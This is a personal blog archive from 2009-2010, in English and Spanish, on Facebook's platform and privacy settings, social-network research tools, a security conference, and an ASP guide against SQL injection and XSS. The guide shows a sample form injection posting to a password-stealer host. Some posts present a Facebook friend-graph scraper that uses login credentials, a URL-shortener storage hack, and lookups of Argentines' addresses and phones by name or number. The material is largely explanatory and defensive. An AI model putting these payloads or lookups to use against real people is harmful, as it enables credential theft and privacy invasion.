New Facebok Input: now the Facebook's partner sites (e.g. CNN and IMDB) can include a open markup called Open Graph Protocol to incorporate a standard semantic reference into the social information. For example sports, celebrities, friends and places can be unified by this structured and extensible information. The important issue to remark here is that Facebook wants to receive as input this social data, that is, they want to process social information from third parties for agregation on their own feeds. For example I recommended an article into my FB feed from CNN's site.
New Facebook Output: the same way as FB consumes social content from their strategic partners, these partners will be able with a few little HTML lines to enable social life into their classic, but slightly anti-social websites. That is, now FB will register relations from external sites and this relations will be shown externally also. This is what is called Social Plugins.
New API: this is the most interesting area for me as a social network and public information researcher. The new API, called Graph API, is the same but simpler because it uses standards OAuth and JSON. Also access to URLs is more uniformly and clearly available. Something new in the API, I think, are the callbacks for realtime alerts. Also remarkable is the removal of the akward restriction of a 24 hour limit to the API cookies, this was previously bypassed for one user but not for social apps.
New Currency: also they are trying to unify their FB dollars, called credits. That is, there will be an only virtual currency in FB, in the future.
New policy to share data with third parties: another minor but strategic novelty is the unification of the sharing with third party apps configuration. That is now I am only able to share everything or nothing with any external app, there is no intermediate point. Configuration granularity was lowered, before an item-by-item check-list was available.

Summarizing, FB wants new structured data inputs from third parties, wants to relate socially this third-party data and show the information externally in other domains, FB keeps the same general model in the FB platform/API but making it more fluid and realtime, also wants to unify virtual currrency inside their platform, and reduces abruptly the granularity of user configuration related to third-party access to user data via FB platform apps.

El Futuro de Facebook

2010-05-03T10:46:00.000-07:00

Bueno amigos, les hago un resumen de la charla principal de f8, la conferencia para desarrolladores, que acabo de ver por en diferido. Basicamente comentan a grandes rasgos la evolución de la API de Facebook disponible a las aplicaciones y como es la nueva interconexión con otros sitios mas o menos sociales.

Nuevo Input de Facebook: Ahora los sitios asociados a Facebook (por ejemplo CNN y IMDB) pueden incluir un markup abierto llamado Open Graph Protocol para darle un valor semántico estandard a la información social. Por ejemplo deportes, celebridades, amigos y lugares pueden estar unificados por esta información estructurada y extensible. Lo importante a destacar en este caso es que Facebook quiere recibir como input estos datos sociales, es decir quieren consumir información social de terceros para agregarla a sus propios feeds. Como ejemplo recomendé un artículo de CNN en mi FB feed desde el sitio de CNN.
Nuevo Output de Facebook: de la misma manera que ahora consumirá contenido social de socios estratégicos de FB, estos socios también podrán con pocas lineas de código HTML darle vida social a sus clásicos, y levemente anti-sociales sitios webs. Es decir ahora FB registrará relaciones en sitios externos y estas relaciones se mostraran externamente. Esto es lo llamado Social Plugins.
Nueva API: esto es lo que mas me interesa a mi como investigador de redes sociales e información pública. La nueva API, llamada Graph API, es lo mismo pero más simple porque usa los estandares OAuth y JSON. Además los URLs de acceso están mucho más uniformes y claros. Algo nuevo en la API me parece son los callbacks para avisos en tiempo real. También es notable que quitaron la limitación de 24 horas para las cookies de la API, esto podía ser evitada para un usuario pero no para todos.
Nueva Moneda: También se unificó el tema de los FB pesos, que son llamados credits. Antes parece que cada aplicación manejaba su propia moneda interna. Es decir, habrá una única moneda virtual en FB.
Nueva política de datos para terceros: Otra novedad menor pero estratégica es la unificación de la interfaz de configuración de información compartida con aplicaciones externa. Es decir ahora comparto todo o no compartó nada con una aplicación externa, no hay puntos intermedios. La granularidad bajo, antes era un check-list detallado item por item.

En resumen FB quiere nuevas entradas de datos estructurados de terceros, quiere relacionar socialmente los datos de terceros y mostrar esta información externamente, mantiene el mismo modelo en general de la plataforma FB/API pero lo hace mas fluído y cercano al tiempo real, quiere unificar la monedas virtuales en una sola y reduce notablemente la granularidad de configuración en el acceso a datos de para aplicaciones de su plataforma.

Libre comercio y redes complejas

2010-05-03T05:53:00.000-07:00

Parece que finalmente se empezaron a estudiar las propiedades estadísticas de las redes de comercio: Characteristics of Real Futures Trading Networks. En este caso, unos investigadores chinos publicaron un artículo sobre redes de comercio de futuros en una bolsa de comercio. Para bajar el artículo ver la entrada en arXiv (fue enviado para referato a la revista Physica A).

Puedo destacar que se observan en las distribuciones estadísticas, por ejemplo de grados, carácteristicas de tipo ley de potencias. Estas carácteristicas las veniamos observando en redes sociales y otras redes complejas como ser las de Internet, aeropuertos y reacciones bioquímicas.

Veamos un ejemplo de los investigadores chinos.

Lo interesante en estos casos económicos es que estas distribuciones aparecen porque no hay un límite a la cantidad de operaciones que pueden realizar los agentes. Igual hay que observar que se perdió un poco de información en el análisis del artículo porque usaron grafos no dirigidos/no orientados cuando en realidad las operaciones de compra y venta son dirigidas, no son simétricas.

Es importante comentar que en caso de intercambios comerciales las reglas de juego son artificiales, al igual que en los servicios de redes sociales. Es decir, se puede decir que surgen patrones determinados solamente frente a determinadas reglas de juego económicas. Entonces se plantea que estas leyes de potencias en las curvas (ver abajo) indican desigualdades económicas que pueden ser distintas en otros sistemas económicos.
Lo que puede variar es el exponente de la curva potencial o podría aparecer otro tipo de distribución. Por ejemplo alguién podría especular que la cantidad consumidad de cierto producto, por ejemplo pasta de dientes, sigue una distribucion distinta a la pontencial (por ejemplo gaussiana o Gamma). En este último caso tal vez no tendríamos un mercado líquido, ya que hay una limitación supuesta en la cantidad de veces que la gente esta interesada en lavarse los dientes y en acumular pasta de diente en sus despensas.

Para terminar, algo muy curioso que pusieron en el artículo Desigualdad en los ingresos de Wikipedia es:

Tanto en términos utilitarios como ético-morales, existe polémica por determinar si la existencia de la desigualdad económica es un fenómeno positivo o negativo.

Basic privacy queries in Facebook and Argentina using Tuplets

2010-04-04T23:23:00.000-07:00

I included some basic but interesting features on Tuplets in these days:

An infinite Facebook API session token, so you can query the Facebook API from pyfacebook without temporal limitations. Right now I have only included queries to Facebook table User using facebook user id as key. Example queries: facebook_user name 100000503807221 (json) and facebook_user website 100000503807221 (json). Facebook username as key are not supported yet by Tuplets.
Tuplets for car registrations was included for Argentina. Answers are government offices where the car was registered. Example queries: auto_ar direccion HUC553 (json) or auto_ar telefono HUC553 (json). Source: DNRPA.
Tuplets for home registrations by phone number in Argentina. Example queries: telefono_ar domicilio (011)47776289 (json) or telefono_ar nombre (011)47776289 (json). Source: Telexplorer Argentina.
Tuplets for home registrations by person name in Argentina. Example queries: persona_ar telefono "perez juan" (json) or persona_ar domicilio "santilli diego" (json). Source: Telexplorer Argentina.

Read the tutorial for the complete list of external tuplets available!

(photo extracted from here, copyright Ryan Etter)

Cloudlight and Facebook friends privacy

2010-03-22T23:00:00.000-07:00

I wanted to present Cloudlight, another experimental framework for analysing complex graphs and collecting graph data. It extends NetworkX, a wonderful Python library. As an example the following graph node is able to retrieve Facebook friends and Facebook complete names. You need just python-mechanize to test FacebookNode.friends(). The original source is here.

Disclaimer: Don't abuse otherwise your Facebook account will be banned as usual.

First I show you an example using FacebookNode. You need the complete Cloudlight, or just Networkx and only FacebookNode.


############################################################################
from cloudlight.src.nodes.facebook import FacebookNode
from networkx import Graph
# or from cloudlight.clasess.graph import Graph

FacebookNode.initialize({}, 'mail_for_facebook_login',
                            'password_for_facebook_login', False)

node = FacebookNode(1151613578)

node.grab_user_details()
print node.name

g = Graph()
node.visit_friends(g, 2)

print map(lambda x : x.name, g.nodes() )

g2 = Graph()
node.visit_friends(g2, 5000, False)

print map( lambda (x,y): (x.id, y.id), g2.edges() )
############################################################################

BlueHat Security Briefings: Buenos Aires 2010

2010-03-18T13:19:00.000-07:00

I will brieftly comment my technical highlights of the BlueHat Security Briefings hosted at Buenos Aires today. This conference is organised by Microsoft and for the second time is hosted outside United States. The reason why is located here is that Core Security Technologies and the Ekoparty Security Conference assistants are collaborating a lot to the international computer security community.

Some personal highlights:

Anchies Moraes Guimaraes noticed that there is little interaction between the Brazilian and the Argentine security research communities. I agree with that, there is no Southamerican conference or community effort in that direction yet.
Mark Curphey made a very attractive presentation on how he entered Microsoft to evolve the processes related to security involved in software development, particularly Agile Methodologies and Secure Architectures. He mentions also some funny Software Patterns related to security described on an article called Big Ball of Mud.
Chris Hoff replicated a previous talk from another conference, focusing on surveying Cloud Computing Models and Security. I take notes on an attack he mentioned involving VMotion subversion, that is, virtual machine migration attacks.
Nelson Murilo discussed a survey on mobile devices security. I take notes on a simple attack that took my attention, involving smartphone's Safari browser and auto dialing to consume resources.
Peter Varangot made a very insightful presentation on OSINT and Social Networks Infiltration. We are working on a new version of Exomind, a little framework in those directions.
Felix Linder also made a survey but in this case related to embedded devices inside companies. Most remarkable he pointed to research on the security of routers and printer machines.
The Discussion Panel of various Southamerican experts was very interesting also, including old school and new security researchers and managers.

Happy Conference Networking!

Detailed Schedule:

Keynote: The Evolution of TrustWorthy Computing – Towards a Safer, More Trusted Internet and
Hackers & You: Panel discussion
Keynote and Panel Moderator—Andrew Cushman (Senior Director, TwC Security, Microsoft) + Various Guests of the Security Community

The Vulnerability Market: A Latin American Perspective - Anchises Moraes Guimarães
de Paula (Latin America Threat Intelligence Analyst, iDefense) & Kristen Dennesen (Intelligence Analyst and Deputy of the International Cyber Intelligence Team, iDefense)

State of the Art Automation of Open Source Intelligence and Impersonation in Social
Networks - Pedro Varangot (Security Researcher, Corelabs)

The Whole Nine Years (of Web App Security) - Mark Curphey (Product Unit Manager,
Microsoft)

Cloudifornication: Indiscriminate Information Intercourse Involving Internet
Infrastructure - Chris Hoff (Director of Cloud and Virtualization Solutions, Data Center Solutions at Cisco Systems)

Your Other Network - Felix 'FX' Lindner (Head of Recurity Labs)

[S]erious [M]obile [S]ecurity, is there such thing? - Nelson Murilo (YSTS Co-founder)

Behind-the-Scenes of the Microsoft Security Response and Engineering Centers
Mike Reavey (Director of Microsoft Security Response Center, Microsoft) & Damian Hasse (Principal Security Development Manager, Microsoft)

Lightning Talks - Various attendees

Update (2010-03-19): detailed schedule added!

Proxy regional para Twitter [Idea]

2010-03-15T07:12:00.000-07:00

Estaba pensando que aprovechando este impulso que tomó en los últimos años la información abierta y el conocimiento libre en Internet y para fomentar un poco la industria informática local podríamos implementar un proxy local de acceso a Twitter. Propongo esta tecnología por:

su sencillez;
tiene una política de acceso automático bastante activa mediante APIs (Twitter API) porque es parte de su negocio (igual todavía no saben bien como ganar plata);
y porque por defecto todas las cuentas de los usuarios son abiertas.

También hay que agregar que no pude encontrar todavía una sección de tendencias locales (trends) centrada en Argentina lo cual me puso muy triste. Esto significa que todavía no tenemos un pie tan firme en la Internet como país.
Los beneficios podrían ser:

extraer tendencias locales para Argentina y otro países de mediano o pequeño Internet foot-print;
tener bases de datos que sirvan para los investigadores y emprendimientos locales;
generar conciencia de que los servicios informáticos son elementos centrales de la economía actual y que su soberanía tiene que ser defendida en Argentina y cualquier otro país independiente o que se precie de ello;
y también fomentar a los programadores locales o regionales a replicar y mejorar las tecnologías y servicios existentes.

¿¡Quién se suma al proyecto!?

BitlyFS: Another Filesystem Abusing a URL Shortener

2010-02-12T11:04:00.000-08:00

It has been a while since I notice the existence of GmailFS and I also wanted to use FUSE (File System in Userspace) to implement some parasitic storage on Internet free services. Parasitic storage is explored in detail in Zalewski's book and is a very new field in security research. Check this paper for an academic research effort on this field. After reading Mario Vilas's post on URL shorteners fun I decided to experiment abusing URL shorteners. I also notice that the Bitly service provides custom URLs, a valuable feature when encoding data to be stored. Mario also implemented a file uploaders abusing storage on TinyURL and ITO.mx and rfreebern also implemented a multiple URL shortener parasitic uploader on PHP. Aparrently, TinyDisk was also released on 2005 to abuse TinyURL, but as everyone notices the implementation is not available now. So let's roll our own implementation!

I decided to use Bitly's custom short url to avoid the use of local storage of short url for each data chunk. My Python prototype code using FUSE wrapper is based on pyraid and only supports one file, read-only.. Then the first time you mount the filesystem you specify that you are uploading the file, next time anyone with the correct key can mount the filesystem and read the file as long as they have access to the Internet. I use base64 encoding for the false URLs containing the data chunks and MD5 hashes for the custom URLs. Base64 encoding 768-byte chunks leads to 1024 bytes of base64 data in the false URLs. I also tried with 2KB with negative results.

http//example.com/IFdlIHNlZWsKYWZ0ZXIga25vd2xlZ... data to complete 1024 base64 bytes...

Something remarkable of Mario's implementation on ITO.mx is that he uses a chain of short urls to encoded the file. In my case, I hash the filename, the sequential chunk number, the chunk size and the access key to generate the custom short urls. This is desirable because as I wanted to implement a transparent filesystem you may want to seek any file offset an read data from there. TinyURL chunks can be much bigger as our implementation using Bitly is very slow.

Installation (tested on Ubuntu Linux):

$ sudo apt-get install python-fuse

...
$ wget http://www.mechpoet.net/mechpoet_files/bitlyfs.zip
# unzip bitlyfs.zip

...

Example usage storing conscience.txt:

$ cd bitlyfs
$ mkdir mountpoint
$ ./bitlyfs-mount.py --initialize --mount-point mountpoint --key secret conscience.txt
full url:
http://bit.ly/?url=http%3A%2F%2Fexample.com%2FMzg4MQ%3D%3D&keyword=6183ae8f1346fe63dde36a5e844ac967
block count: 0 of 5
block_id dcc83fb03f3bc05b712e3b5ad95370aa
full url:
http://bit.ly/?url=http%3A%2F%2Fexample.com%2FRmlsZTogYXJjaG ...
...
(in another shell test differences)
$ ls -l mountpoint/conscience.txt
-r--r--r-- 1 root root 3881 1969-12-31 21:00 mountpoint/conscience.txt
$ diff conscience.txt mountpoint/conscience.txt
$ cat mountpoint/conscience.txt

After the file is uploaded then you can mount anywhere the filesystem to access it. For example you can access a photo I stored using the default key without any initialization.

$ ./bitlyfs-mount.py -m mountpoint pibito.jpg &
$ gimp mountpoint/pibito.jpg

Future steps should include using custom URLs to reference URL shorteners with larger supported URL size, to achieve realtime reproduction of MP3! Bitly Underground Radio!

Source code:

http://code.assembla.com/bitlyfs/subversion/nodes

Análisis de políticos usando buscadores web y grafos

2010-01-08T07:54:00.000-08:00

Esto es algo viejo que hice hace un par de años pero lo publico porque es interesante y me acordé cuando estaba mirando el proyecto Ensamblea Matanzas - Riachuelo. Estaba probando la generación de grafos sociales usando buscadores web y distancia de datos en minería web, en particular la Distancia Normalizada de Google (Normalized Google Distance). Entonces para armar algun ejemplo interesante como estaban las elecciones presidenciales del 2007 proyecté los grafos de los candidatos presidenciales en algunos temas de discusión candentes en ese momento o clásicos de cualquier canditatura presidencial argentina.

Aca les muestro los ejemplos más interesantes que fueron el tema derechos humanos y el tema INDEC. Otros temas son confusos porque aprecen demasiados enlaces, casi todos con todos. Si aparece un enlace entre dos nodos/candidatos significa que ese momento aparecieron junto a ese tema de discusión en algunas páginas web. Por ejemplo: "CandidatoA y CandidatoB opinaron sobre derechos humanos". El tamaño de los nodos y de los enlaces depende de cuantas veces hayan aparecidos juntos y separados y de las medidas elegidas, en este caso la NGD.

(hacer click para ver en tamaño grande)

Precios OSDE Binario: Abril 2009

2010-01-05T04:16:00.001-08:00

Son los precios mensuales en pesos del año pasado, pero los pongo por si a alguién le sirven, ahora parece que aumentaron o por lo menos a mi me aumentaron un 12% en Enero del 2010. Habrá que fomentar la salud pública, esto ya es cualquier cosa. El 2 de la izquierda no sé que es, tal vez significa que si estas interesado en el plan 210 te muestran esta planilla, desconozco.

DIRECTOS - Abril 2009 OSDE.binario
- Individual ||| Grupo Familiar
- Neo Joven >35 | Neo Joven >35 1°H 2°H
2 210 230 350 571 | 460 700 953 182 111
2 310 306 455 740 | 612 910 1228 237 161
2 410 409 604 945 | 818 1208 1596 305 196
2 450 621 918 1386 | 1242 1836 2183 359 213
2 510 1021 1529 2211 | 2042 3058 3636 --- ----

Pareciera que por el segundo hijo te hacen precio, una ganga.

Logo Plagiado: Open Source Initiative

2010-01-05T03:52:00.000-08:00

Bueno continuamos con la serie de artículos sobre logos plagiados, en este caso con un descubrimiento propio. Pareciera que un gimnasio de Buenos Aires tiene un logo muy parecido al logo de la Open Source Initiative. Bueno, no iba a decir el nombre del gimnasio para no delatarlos, pero fueron tan obvios en su nombre que pareciera que hicieron una búsqueda en la web de logos posibles: Openclub Gym. De cualquier manera, no creo que sea un delito a menos que sean empresas que compitan en el mismo rubro o algo así de manera que el robo del logo le quite clientes a la organización que creo el logo original. Técnicamente habría que analizar quien le copio el logo a quien pero búsquedas en Internet hacen más evidente que logo de la OSI esta disponible y el logo del OCG no lo esta saquen sus conclusiones.

Aca buscando "open logo" en Google Images aparece el logo de OSI.

N-cuerpos Caóticos y Computabilidad [Idea]

2010-01-03T12:51:00.000-08:00

Estaba pensando y sería interesante que alguién demuestre la posibilidad de simular una máquina de Turing usando N cuerpos siguiendo las leyes de Newton. El problema de los N-cuerpos es sabido que no es resoluble de forma analítica para algunos casos y en estos tiene un comportamiento caótico determinista, es decir las trayectorias divergen de forma exponencial en base en los estados iniciales. Por otro lado están apareciendo casos muy sencillos de sistemas que son Turing-completos, es decir pueden simular cualquier máquina de Turing. Por ejemplo la máquina de Turing (2,3) de Wolfram (2 estados y 3 símbolos en la cintas, posiblemente la más sencilla conocida) fue demostrada en el 2007 (con cierto debate todavía) Turing-completa. De esta manera tendríamos evidencia de que el comportamiento caótico determinística de los N-cuerpos tiene como condición suficiente esta propiedad de computabilidad universal de las ecuaciones de Newton. No es necesario que sean infinitos cuerpos, con N-cuerpos para una cinta de tamaño C, con N creciendo en forma lineal para N creo sería suficiente.

Las ecuaciones para los N-cuerpos son las siguientes [1], dados como condiciones iniciales los vectores q de posiciones iniciales y las derivadas de primer orden, es decir las velocidades:

La máquina (2,3) de Wolfram tiene la siguiente tabla de transición estados para los estados internos A y B, y para los símbolos de cinta 1, 2, y 3 (I y D son los movimientos del cabezal de la máquina) [2]:

	A	B
0	P1,D,B	P2,I,A
1	P2,I,A	P2,D,B
2	P1,I,A	P0,D,A

Finalmente, vean una simulación de problema de los 3-cuerpo en un caso caótico, vean que curioso como no se puede predecir a donde van a ir los cuerpos [3].

Tal vez alguién ya demostró esto, y todavía no encontre la información, cualquier actualización publicó otro nano-artículo.

Happy Hacking!

New Default Facebook Privacy Settings: More Stuff Going Public

2009-12-10T11:18:00.000-08:00

"Meet the new privacy, the same (or worst) than the old privacy." - Unknown (2009)

This week has been deployed the new Facebook privacy interface and the new default privacy settings. We are interested in the latter, although is useful to have privacy settings per Facebook object the default settings are the most used because these respect the minimal effort of the average user.

Check this screen shot with the default settings proposed.

About Me: has gone from Only Friends to Everyone.
Family and Relationships: has gone from Only Friends to Everyone.
Work and Education: are still in Everyone.
Posts I Create: has gone from Only Friends to Everyone.
Photos and Videos of Me: has gone from Only Friends to Friends of Friends.
Birthday: has gone from Only Friends to Friends of Friends.
Religious and Political Views: has gone from Only Friends to Friends of Friends.
Email Addresses and IM: are still in Only Friends.
Phone Numbers: are still in Only Friends.
Address: is still in Only Friends.

Please comments any errors or doubts.

Notes from Minsky talk on Artificial Intelligence

2009-12-09T12:05:00.000-08:00

After watching talk Emotion Machine: Commonsense Thinking, Artificial Intelligence and the Future of the Human Mind by Marvin Minsky I share my notes.

The talk is mostly pessimistic. He warns about a work emergency, not enough people working and we will need AI to replace human work in the next years. Now, robots work in small domains, for example in the construction of standardised objects. But there is no automation of maintenance. Little or big maintenance is not accomplish by robots because this work usually has unexpected elements. Minsky has a gloomy view of the last 20 years of AI. He calls to recall old fields of AI like Sematic Information Processing. He also wants to emphasize the lecture of other books from the 60s and 70s. An example of restricted domain where AI was successful is symbolic integrals. Also algebra problems represented with natural languages have very good old solutions, hardly improved in the last years. But no commonsense knowledge is embedded in AI in these days. Human intelligence has multiple domains of knowledge in parallel: physical, social, emotional, spatial, mental, etcetera. He recommends his book: The Emotion Machine. Also warns about fad techniques and research areas, some of these will go away: genetic programming, insect robots, artificial neural networks, etcetera. They work with a well defined problem, not very general. For example with genetic programming, the problem is that only remembers what succeeded. No common mistakes are learn. On the other side, culture teaches common mistakes. Memes, propagated beliefs, not genes, include positive and negative information. Also the representation of knowledge is diverse. Minsky proposes a "Critic-Selector" model of the brain. It seems a very abstract model of the brain, including many levels, at least 6 of them. He emphatizes that you need theories of the mind before doing mental experiments with the brain. He observes that there are many Ways To Think: analogy, planning, simplify, reformulate, simulate, etcetera. Also that there are more parts than you need in the mind, there is no Occam's Razor in psychology! Many levels and structures. Minsky talks about different types of goals, seems to static to me if you have static categories. Finally he confess he professes isolationism, not connectionism, the existence of isolated levels and structures, that only interact when they need to.

I liked the emphasis on:

Commonsense is mostly social.

If you can solve a problem you cry for help, social intelligence comes to rescue.

Any machine with Minsky's Model it's "... got to learn from people.".

Happy AI Hacking!

Understanding Facebook Tagged Photos Privacy

2009-12-07T13:40:00.000-08:00

We discuss how to enhance the privacy of Facebook when facing users tagging you in third-party pictures.

To understand the tagged photos privacy features of Facebook we design a Facebook usage lab. Our laboratory includes three individuals who graciously volunteered to be part of the tests. Bob is in Alice's contact list because he is her lover and Chuck is in her contact list because he is her official couple. Chuck suspects that Alice is unfaithful but he needs evidence to attract Alice into a vortex of unhappiness and sorrow.

Each of the users respectively uploaded one picture: PhotoB, PhotoA and PhotoC. The critical photo is PhotoB, uploaded by Bob, where Alice is included.

In Facebook, a user can tag photos with names. If the name belongs to a contact of the user the tag is linked to other public photos of that contact. The privacy features of tagged photos are centered around:

a) who can view the photos published by user A and
b) who can view the photos where user B was tagged.

We will discuss briefly the scenario where Bob tags Alice in his photo, with the default configuration.
By default, Bob's photos are only visible by his friends, in this case Alice and not Chuck. But if Bob one day needs to share something and changes his profile privacy from "Only Friends" to "Friends of Friends" (Settings > Privacy > Profile > Profile) then Chuck will notice in his Facebook feed that Alice was tagged in a photo owned by Bob. This is due to the default photo tagged visibility configuration of Alice, i.e. "Only Friends" allows her to view the photos where she was tagged. If Alice changes her tagged photos settings to "Only Me" (Settings > Privacy > Profile > Photos Tagged of You > Customize... > Only Me) then Chuck will not see the critical PhotoB.

To search for photos and test the visibility you can use "photo_search.php".

http://www.facebook.com/photo_search.php?id=USER_NUMERICAL_ID

There you can view the photos "visible" by the user A who is logged right now. This photos can be from the user A profile, or from another user but tagged with the name of the user A whom numerical identification is USER_NUMERICAL_ID.

Join the privacy lab via Facebook (Alice, Bob and Chuck) or the Data Privacy Army if you want to contribute with scenarios or comments!

Social Rings: A Simple Method For Enhancing Privacy In Web 2.0 And Social Networks

2009-12-01T10:35:00.000-08:00

Disclaimer: This post was written for the annoyingly paranoid.

If you are worried about your privacy but you don't want to be isolated in Internet then you may want to implement social rings. Here we will describe the simple method we devised for enabling a little privacy in web 2.0 and social networks. We design four privacy levels or social rings to access the web and contact people through social network services. Keep in mind, that as soon as other abstract communication layers don't provide any privacy, probably your privacy is invaded by your local ISP, government intelligence/security agency or employer.

This method includes human and automatic computer interactions. We have been testing it for about a year and provides a more clear understanding of privacy in the Internet, given the little effort of managing the different rings. It is designed to avoid phishing, spamming and optimized your mindshare/attention online, a limited resource.

Social Ring 0 (The Circle Of Trust or The Social Circle): Include here close friends, trusted co-workers and trusted family members. Create an e-mail for this ring. Identify yourself with your complete name but don't include your complete name in the e-mail, you don't want people knowing your complete your name to deduce the e-mail. Use this e-mail only for human-human contacts, not for automatic subscriptions, the latter usually contains messages from people you don't trust. This email, not directly deducible from your complete name, will be the key/token (we will call it token0) to enter social ring 0, but assume that contacts in this ring know your complete name. Use token0 to create and account on you favorite social network service. Check that people can only contact you in this ring if they have token0. In Facebook for example you must not use your complete name, but you may want to be contacted with token0 in the people search queries. From example if your name is Alan Smithee you may use alans or as23 as privacy token0. Only people (or robots?) will enter this ring after physical contact or personal recommendation from an existing contact. You may subscribe to news feed system only in this feed systems allows anonymous subscriptions or followers. Twitter allows anonymous subscriptions via RSS feeds but following people in Twitter with your Twitter account is not anonymous.
Social Ring 1 (The News/Nickname Ring): Here are included not so close friends, untrusted co-workers/family and automatic subscriptions/robots. Create an email with privacy token1, similarly as with ring 0 but now with a token completely uncorrelated to your complete name. Don't use your complete name anywhere within this ring (!), use a simple nickname, such as alan666 or morfeus. Using token1 you can subscribe to people and systems that only supports non-anonymous subscriptions such as Twitter. E-mail newsletters and lists are included in this ring because this qualifies as an interaction with an untrusted machine possibly aggregating content and spam from people you don't know. Don't use token1 for possible spammish subscriptions or people/social network systems suspected of being malicious. You may want to use your complete name in blogs and services associated with token1 but only for publishing content, not consuming.
Social Ring 2 (Social Event Horizon): create a totally uncorrelated social key token2 for this ring. Use it for subscriptions/services you don't trust at this moment. You can probe suspicious services or people comfortably standing in this ring. Surely you will need an email for this ring.
Social Ring 3 (The Anonymous Moors): anonymous polls, anonymous social comments in web forums, no credentials needed. As you can be approximately geographically located, you may want to used anonymous routers such as Tor to avoid geographical bans or censorships. Remember to don't use any ring 0-2 credentials in this ring.

Some improvements may include Social Ring -1 with an encrypted web vault for storing personal data such as financial information, other critical data and Social Ring 0-2 credentials.

You want to avoid scenarios were people/machines can't deduce token{n-1} from token{n} so that can elevate their social ring level.

Please comment any method bugs or possible improvements.

(Last photo courtesy of lois_15354.)

Another Categorization of Social Networking Data

2009-11-26T12:01:00.000-08:00

Following Bruce Schneier post on social network data taxonomies I made my own categorization. You will observe that is not a taxonomy because data is not exclusively in one of the categories, that is, the categories are not disjoint. It is a categorization centered on data destination, places and people that can store it, access it and the use it. Schneier taxonomy is centered on trust levels I think.

Collected Data. Data collected by the service provider. Unless this data is encrypted on the client-side and stored this way on the server we assume it is plain text data accessible by the service provider. Usually includes profile and network data explicitly provided by the user, and click history implicitly provided. You can assume that everything you do and upload in the browser tab of the service is collected if the privacy policy of the service doesn't state it otherwise.
Public/Disclosed Data. Data that is published openly, such as complete name or e-mail. It can be useful for other people trying to locate you.
Social Data. Data that is openly shared with your trusted contacts. Unless these contacts are inside your circle of trust, they can't access it.
Monetized Data. Data that is actually used by the service provider to serve you personalized advertising. This category also includes data that can be sold anonymized or aggregated to third parties.

You can observe that in some services, such as web logs, all social data is public/disclosed. It is common nowdays, that the service provider collects all the data, so the public/disclosed data and the social data are included there. On the other side, a encrypted social network service could possibly assure a minimization of collected data. Obviously monetized data can only be extracted from some data collected from the provider. If the social data can be widely collected by other users infiltrating your social contact list they can build a dataset that can be turn into monetized data. Another example is Google's Social Graph effort, they are transforming part of your social data in services they can't access into public/disclosed data that fits better inside their business model.

Some ideas in this post are related to Alex Iskold post on attention silos.

Precauciones Básicas para Evitar Ataques Web en ASP

2009-11-19T10:02:00.000-08:00

Repasamos algunos conceptos de seguridad web básicos y recorriendo la web comentamos algunas soluciones para evitar ataques en aplicaciones web desarrolladas con ASP.

Como toda falla de seguridad, la tecnología que se desarrolla antes de que se popularice la falla, es víctima segura de la misma. En el caso de ASP es así, recién en ASP .Net se toma conciencia de las fallas de seguridad habituales en SQL y JavaScript y se implementan medidas incluidas por defecto, por lo menos en las librerías.

Las principales fallas que afectan a ASP son las que afectan a la mayoría de las aplicaciones web, son de inyección de código JavaScript y código SQL dentro de los datos enviados a la aplicación. La inyección de código dentro de datos enviados a programas es una categoría central de fallas de seguridad. En el caso clásico de aplicaciones nativas se inyecta código máquina dentro de datos enviados a servidores programados en C/C++ o dentro de datos multimedia para ataques clientes web o correo programados también en C/C++.

En el caso de una falla de inyección SQL la ejecución de una sentencia SQL en el servidor puede ser afectada o desviada mediante datos provistos por el usuario. Usualmente al mezclarse la sentencia SQL en forma de string de caracteres con la entrada provista por el usuario/atacante, este último puede escapar de la sentencia SQL con algún tipo de caracter como comilla simple o doble y luego agregar SQL a la sentencia existente o ejecutar una sentencia distinta (por ejemplo con ";" en el MS SQL Server). Luego el impacto habitual es pasar alrededor la autenticación entrando como administrador al sistema o listando la lista de usuario, aunque también dependiendo de los permisos de la base de datos SQL se pueden llegar a modificar tablas de datos o ejecutar comandos de la consola de sistema [1].

Las inyecciones de JavaScript, también conocidas como XSS o Cross-site Scripting parecen mas inofensivas porque afectan en principio a los navegadores web cliente de los usuarios, pero aparte de servir para robar credenciales de los usuarios pueden servir para sobrecargar al servidor con peticiones. Se inyecta JavaScript en los datos y estos son reflejados en el HTML que se devuelve, entonces si la inyección se puede persistir o se puede reproducir con un URL (XSS de petición GET), entonces las víctimas pueden acceder al mismo y de ellas se podría eventualmente robar sus cookies de sesión. Para el caso de peticiones POST alcanza con dirigir a las víctimas al dominio "notanevilhacker.org" y de ahi andar el POST con el XSS al dominio "vulnerable.org" para robar credenciales [2].

En general la mejorar manera de evitar la inyecciones SQL es depurando la entrada de datos. Por ejemplo se puede solamente dejar pasar (lista blanca o white-listing) los datos alfanuméricos en ASP con el siguiente código [3]. En este caso se filtra el complemento alfanumérico con "^". Hay que incluir letras con acentos que se usan en el español posiblemente, que no están en este ejemplo. Destaquemos que siempre es preferible el white-listing antes que el black-listing, por que en el último caso se puede escapar algún caso no filtrado por la tangente, ergo, se nos escapa la tortuga de la seguridad por algun caso no cubierto.

'Crear un objeto expresion regular
Dim regEx
Set regEx = New RegExp

'Esta propiedad global le dice al moto de RegEx que busque TODAS las
'subcadenas, en vez de la primera aparicion. Tiene que ser true.
regEx.Global = true

'Nuestro patron dice que tenemos que buscar en el string... En este caso
'buscamos cosas que no sean alfanumericas...
regEx.Pattern = "[^0-9a-zA-Z]"

'Usamos la funcion de reemplazo de RegEx para limpiar el username. La funcion
'de reemplazo toma un string para buscar (usando el patron de arriba como criterio=
'y la string que va a reemplazarla.
'En este caso, queremos reemplazar con nada, porque los caracteres no
'alfanumericos son los que queremos quitar.
dim username
username = regEx.Replace(request.form("UserName"), "")

Para el caso de los XSS si es una entrada de usuario que incluye caracteres no alfanuméricos lo mejor es codificar la entrada para que sea interpretada como datos en el HTML de vuelta, y no como HTML en si mismo. En ASP la función que provee esta funcionalidad es "Server.HtmlEncode" [4].

Por ejemplo se reemplaza la entrada maliciosa:

</form>
<form method="POST"
action="www.hax0r.com/passwordstealer.asp">

Por:

&lt;/form&gt;&lt;form
method="POST"
action="www.hax0r.com/passwordstealer.asp"&gt;

Podemos observar que si aparecen los dos tipos de vulnerabilidades juntas como el filtrado para evitar inyecciones SQL es mas restrictivo seguramente alcance con aplicar eso y no la codificación para HTML. Si ya fuimos víctimas de un ataque lo mejor es tratar de eliminar código remanente JavaScript malicioso en la base de datos [5].

Detecting Shameless Logo Plagiarism!

2009-11-11T10:19:00.000-08:00

